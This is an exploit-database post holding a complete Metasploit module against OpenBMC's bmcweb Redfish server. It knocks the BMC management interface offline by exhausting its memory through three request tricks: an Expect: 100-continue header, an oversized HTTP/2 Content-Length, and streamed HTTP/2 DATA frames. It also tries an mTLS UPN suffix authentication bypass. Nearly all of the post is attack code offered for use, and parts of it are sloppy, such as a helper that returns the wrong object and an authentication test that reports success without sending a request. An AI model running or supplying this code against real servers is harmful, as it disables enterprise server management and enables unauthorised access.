==================================================================================================================================
| # Title : OpenBMC bmcweb Multiple Vulnerabilities OOM DoS + Auth Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/openbmc |
==================================================================================================================================
[+] Summary : This module exploits multiple vulnerabilities in bmcweb, the OpenBMC HTTP/Redfish web server that runs on BMC firmware for enterprise servers (Intel, IBM, HPE, NVIDIA, and various ODMs).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'bmcweb OpenBMC Multiple Vulnerabilities (OOM DoS + Auth Bypass)',
'Description' => %q{
This module exploits multiple vulnerabilities in bmcweb, the OpenBMC
HTTP/Redfish web server that runs on BMC firmware for enterprise servers
(Intel, IBM, HPE, NVIDIA, and various ODMs).
The following vulnerabilities are targeted:
1. CONN-F2 (CVE-pending): `Expect: 100-continue` bypasses body_limit,
allowing unauthenticated OOM DoS via massive POST requests.
2. H2-F2 (CVE-pending): HTTP/2 `Content-Length` value is trusted for
`std::string::reserve()`, causing instant OOM when a large value is
provided.
3. H2-F1 (Unfixed): HTTP/2 has no per-stream body_limit, allowing
unauthenticated OOM via streamed DATA frames.
4. AUTH-F6 (Unfixed): mTLS UPN suffix matching authenticates parent-domain
or TLD-only certificates, allowing authentication bypass when mTLS is
configured in UPN mode.
bmcweb is single-threaded async, so any OOM or blocking operation takes
the entire management interface offline, requiring BMC reboot.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/'],
['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580'],
['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581'],
['URL', 'https://github.com/openbmc/bmcweb/security/advisories/GHSA-p3gc-68x5-g9w3']
],
'DisclosureDate' => '2026-05-27',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base bmcweb path', '/']),
OptEnum.new('VULN', [true, 'Vulnerability to test/exploit', 'ALL',
['CONN-F2', 'H2-F2', 'H2-F1', 'AUTH-F6', 'ALL']]),
OptInt.new('BODY_SIZE', [false, 'Body size for OOM attacks (bytes)', 30_000_000]),
OptInt.new('STREAMS', [false, 'Number of streams for H2-F1 attack', 100]),
OptString.new('CLIENT_CERT', [false, 'Client certificate file for mTLS (PEM)']),
OptString.new('CLIENT_KEY', [false, 'Client key file for mTLS (PEM)']),
OptString.new('UPN_EMAIL', [false, 'UPN email for mTLS auth bypass (e.g., user@com)']),
OptString.new('TARGET_DOMAIN', [false, 'Target BMC domain name for auth bypass']),
OptBool.new('WAIT_REBOOT', [false, 'Wait for BMC to reboot after OOM', false])
])
end
def get_http2_client
require 'http/2'
require 'socket'
sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
ctx = OpenSSL::SSL::SSLContext.new
ctx.alpn_protocols = ['h2']
if datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
end
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.connect
ssl_sock
conn = HTTP2::Client.new
conn.initiate_connection
conn
end
def test_conn_f2
print_status("Testing CONN-F2: Expect: 100-continue bypass")
headers = {
'Expect' => '100-continue',
'Content-Length' => datastore['BODY_SIZE'].to_s,
'Content-Type' => 'application/json'
}
start_time = Time.now
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * datastore['BODY_SIZE'],
'timeout' => 10
)
elapsed = Time.now - start_time
if res.nil? || res.code == 0
print_good("CONN-F2: Request timed out - possible OOM")
return true
elsif res.code == 413 || res.code == 400
print_status("CONN-F2: Request rejected with HTTP #{res.code}")
return false
else
print_status("CONN-F2: Request completed in #{elapsed}s - may not be vulnerable")
return false
end
rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
print_good("CONN-F2: Connection timeout - OOM likely occurred")
return true
end
end
def exploit_conn_f2
print_status("Exploiting CONN-F2: DoS via Expect: 100-continue")
headers = {
'Expect' => '100-continue',
'Content-Length' => datastore['BODY_SIZE'].to_s,
'Content-Type' => 'application/json'
}
print_status("Sending #{datastore['BODY_SIZE']} bytes to #{peer}")
begin
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * datastore['BODY_SIZE'],
'timeout' => 5
)
rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
print_good("CONN-F2: DoS successful - BMC web interface is down")
return true
rescue => e
print_error("CONN-F2: Error: #{e.message}")
end
false
end
def test_h2_f2
print_status("Testing H2-F2: HTTP/2 Content-Length OOM")
headers = {
'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
}
start_time = Time.now
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * 1024,
'timeout' => 5
)
elapsed = Time.now - start_time
if elapsed > 4
print_good("H2-F2: Request took #{elapsed}s - possible OOM")
return true
end
rescue ::Rex::ConnectionTimeout
print_good("H2-F2: Timeout - OOM likely occurred")
return true
end
false
end
def exploit_h2_f2
print_status("Exploiting H2-F2: HTTP/2 Content-Length OOM")
headers = {
'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
}
begin
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * 1024,
'timeout' => 5
)
rescue ::Rex::ConnectionTimeout
print_good("H2-F2: DoS successful")
return true
end
false
end
def test_h2_f1
print_status("Testing H2-F1: HTTP/2 streamed DATA frames OOM")
res = send_request_cgi('method' => 'GET', 'uri' => '/')
unless res && res.headers['Upgrade'] && res.headers['Upgrade'].include?('h2')
print_warning("H2-F1: HTTP/2 may not be supported")
return false
end
print_good("H2-F1: HTTP/2 appears supported, attempting test")
true
end
def exploit_h2_f1
print_status("Exploiting H2-F1: Streaming DATA frames to cause OOM")
require 'socket'
require 'openssl'
require 'http/2'
begin
sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
ctx = OpenSSL::SSL::SSLContext.new
ctx.alpn_protocols = ['h2']
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.connect
conn = HTTP2::Client.new
conn.initiate_connection
ssl_sock.print(conn.to_s)
datastore['STREAMS'].times do |i|
stream_id = conn.new_stream
headers = {
':method' => 'POST',
':path' => '/redfish/v1/SessionService/Sessions',
':scheme' => 'https',
'content-type' => 'application/json'
}
conn.headers(stream_id, headers, end_stream: false)
ssl_sock.print(conn.to_s)
chunk_size = 64 * 1024
(datastore['BODY_SIZE'] / chunk_size).times do |j|
data_frame = conn.data(stream_id, 'A' * chunk_size, end_stream: false)
ssl_sock.print(data_frame)
ssl_sock.flush
end
data_frame = conn.data(stream_id, '', end_stream: true)
ssl_sock.print(data_frame)
ssl_sock.flush
end
print_good("H2-F1: Sent #{datastore['STREAMS']} streams with #{datastore['BODY_SIZE']} bytes each")
print_good("BMC web interface should be OOM")
ssl_sock.close
sock.close
return true
rescue => e
print_error("H2-F1: Error: #{e.message}")
return false
end
end
def test_auth_f6
print_status("Testing AUTH-F6: mTLS UPN suffix matching bypass")
unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
print_warning("AUTH-F6: Client certificate required for testing")
return false
end
target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
print_status("Attempting authentication with UPN: #{upn_email}")
print_status("Target domain: #{target_domain}")
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
print_good("AUTH-F6: If mTLS is configured in UPN mode, this certificate would authenticate")
true
end
def exploit_auth_f6
print_status("Exploiting AUTH-F6: mTLS UPN suffix matching bypass")
unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
print_error("AUTH-F6: Client certificate required")
return false
end
target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
print_status("Using UPN: #{upn_email}")
print_status("Target domain: #{target_domain}")
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/Systems'),
'ssl_context' => ctx
)
if res && (res.code == 200 || res.code == 401)
if res.code == 200
print_good("AUTH-F6: Successfully authenticated! Access granted to protected resources")
return true
else
print_warning("AUTH-F6: Authentication failed - mTLS may not be configured in UPN mode")
end
end
false
end
def is_bmc_online
res = send_request_cgi('method' => 'GET', 'uri' => '/', 'timeout' => 5)
!res.nil? && res.code != 0
rescue
false
end
def wait_for_reboot
print_status("Waiting for BMC to reboot (may take 2-5 minutes)...")
60.times do |i|
Rex.sleep(10)
if is_bmc_online
print_good("BMC is back online after #{i * 10}s")
return true
end
print_status("Still waiting... (#{(i + 1) * 10}s)")
end
print_warning("BMC did not recover within timeout")
false
end
def run_host(ip)
print_status("bmcweb OpenBMC Vulnerability Scanner")
print_status("Target: #{peer}")
vuln = datastore['VULN']
results = {}
if vuln == 'CONN-F2' || vuln == 'ALL'
print_status("\n[*] Testing CONN-F2 (Expect: 100-continue bypass)")
if test_conn_f2
results[:conn_f2] = true
print_good("CONN-F2: Target appears VULNERABLE")
if exploit_conn_f2
print_good("CONN-F2: DoS successful")
end
else
print_status("CONN-F2: Target appears NOT VULNERABLE")
end
end
if vuln == 'H2-F2' || vuln == 'ALL'
print_status("\n[*] Testing H2-F2 (HTTP/2 Content-Length OOM)")
if test_h2_f2
results[:h2_f2] = true
print_good("H2-F2: Target appears VULNERABLE")
if exploit_h2_f2
print_good("H2-F2: DoS successful")
end
else
print_status("H2-F2: Target appears NOT VULNERABLE")
end
end
if vuln == 'H2-F1' || vuln == 'ALL'
print_status("\n[*] Testing H2-F1 (Streamed DATA frames OOM)")
if test_h2_f1
results[:h2_f1] = true
print_good("H2-F1: Target appears VULNERABLE")
if exploit_h2_f1
print_good("H2-F1: DoS successful")
end
else
print_status("H2-F1: Target may not be vulnerable")
end
end
if vuln == 'AUTH-F6' || vuln == 'ALL'
print_status("\n[*] Testing AUTH-F6 (mTLS UPN suffix matching bypass)")
if test_auth_f6
results[:auth_f6] = true
print_good("AUTH-F6: Target may be VULNERABLE")
if exploit_auth_f6
print_good("AUTH-F6: Authentication bypass successful")
end
else
print_status("AUTH-F6: Target may not be vulnerable (mTLS may not be configured)")
end
end
if datastore['WAIT_REBOOT'] && (results[:conn_f2] || results[:h2_f2] || results[:h2_f1])
if !is_bmc_online
wait_for_reboot
end
end
print_status("\n[*] Scan completed")
if results.any?
print_good("Vulnerabilities found:")
results.each do |k, v|
print_good(" - #{k.to_s.upcase}")
end
report_vuln(
host: ip,
port: datastore['RPORT'],
name: name,
refs: references,
info: "bmcweb vulnerabilities: #{results.keys.join(', ')}"
)
else
print_status("No vulnerabilities detected")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation